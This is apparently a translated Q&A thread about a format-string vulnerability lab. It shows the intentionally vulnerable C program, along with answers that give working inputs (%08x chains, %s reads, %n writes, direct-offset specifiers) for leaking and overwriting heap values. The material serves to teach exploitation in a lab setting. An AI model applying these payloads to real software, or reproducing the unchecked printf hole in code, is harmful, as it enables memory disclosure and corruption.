9

我正在研究一个格式字符串漏洞实验室,在那里我们得到了以下代码:

#define SECRET1 0x44
#define SECRET2 0x55

int main(int argc, char *argv[])
{
  char user_input[100];
  int *secret;
  int int_input;
  int a, b, c, d; /* other variables, not used here.*/

  /* The secret value is stored on the heap */
  secret = (int *) malloc(2*sizeof(int));

  /* getting the secret */
  secret[0] = SECRET1; 
  secret[1] = SECRET2;

  printf("The variable secret's address is 0x%.8x (on stack)\n", &secret);
  printf("The variable secret's value is 0x%.8x (on heap)\n", secret);
  printf("secret[0]'s address is 0x%.8x (on heap)\n", &secret[0]);
  printf("secret[1]'s address is 0x%.8x (on heap)\n", &secret[1]);

  printf("Please enter a decimal integer\n");
  scanf("%d", &int_input);  /* getting an input from user */
  printf("Please enter a string\n");
  scanf("%s", user_input); /* getting a string from user */

  /* vulnerable place */
  printf(user_input);
  printf("\n");

  /* Verify whether your attack is successful */
  printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
  printf("The new secrets:      0x%x -- 0x%x\n", secret[0], secret[1]);
  return 0;
  }

我们根本不应该修改代码。仅使用输入,我们有 4 个目标:使程序崩溃,打印 secret[1] 处的值,修改 secret[1] 处的值,以及将 secret[1] 处的值修改为预定值。

我得到的示例输出是:

The variable secret's address is 0xbfffe7cc (on stack)
The variable secret's value is -x0804a008 (on heap)
secret[0]'s address is 0x0804a008 (on heap)
secret[1]'s address is 0x0804a00c (on heap)
Please enter a decimal integer
65535
Please enter a string
%08x.%08x.%08x.%08x.%08x.%08x.%08x%08x.
bfffe7d0.00000000.00000000.00000000.00000000.0000ffff.0804a008.78383025

因此,通过输入 8 "%08x"s,我打印了 secret + 4 的地址,然后我打印了整数 a、b、c 和 d 的地址——但由于我从未给它们一个值,所以它们没有指向任何地方,只显示0。接下来是我输入的小数点,选择这样“ffff”将清晰可见。接下来是 secret[0] 的地址,然后我进入程序中存储的其他值。

如果我要输入AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x%08x..0804a008 之后将是 .41414141,因为字符串输入中的 A 将存储在那里。

程序很容易崩溃:字符串输入上足够的 %s 会导致段错误。不过,现在我需要读取 secret[1] 的值,我完全迷失了。我试图以某种方式将地址放在堆栈上,方法是将其放在字符串的开头,如下所示:\xd0\xe7\xff\xbf_%08x.%08x.%08x.%08x.%08x.%08x.%s,但地址没有被推送到任何地方,我只是打印 secret[0] (好奇的是'D')。我尝试了各种地址,但过了一会儿我意识到我只是将它们全部存储为一个字符串,这些 A 之前出现过。他们没有被转换为十六进制或任何东西。

我在 SA 和其他地方看到了很多关于此代码的讨论,但我还没有看到有人谈论你如何在 secret[1] 上获得这些值。

任何帮助将不胜感激。

4

3 回答 3

4

要访问 secret[1],您必须输入它的地址作为整数输入。

Please enter a decimal integer
73740
Please enter a string
%08x.%08x.%08x.%08x.%08x.%08x.%s
00008744.bead4ca4.bead4cc4.bead4dc4.00000001.000000a8.U
于 2013-04-17T20:41:12.837 回答
3

诀窍是%n在用户指定的格式字符串中使用说明符。 %n表示获取到目前为止写入的字节数并将它们存储在下一个参数指向的地址。如果您没有为 提供足够的参数printf,那么它写入的地址就是堆栈中的下一个值。如果您可以利用该地址成为您想要的地址,那么您基本上可以在内存中的任何位置写入一个 4 字节整数。

// Normal usage: count receives the value 14, since 14 bytes were written when
// the %n was encountered
int count;
printf("Hello, world!\n%n", &count);

// UNDEFINED BEHAVIOR: The value 14 will get written to some unknown location in
// memory 
printf("Hello, world!\n%n");
于 2013-04-17T20:18:26.180 回答
1

您实际上可以直接在格式字符串中指定偏移量。

例如。

$ printf "ADDRESS_IN_DECIMAL\n%%ADDRESS_OFFSET\$p_%%ADDRESS_OFFSET\$s\n" | ./vul_prog
于 2014-10-13T17:19:07.573 回答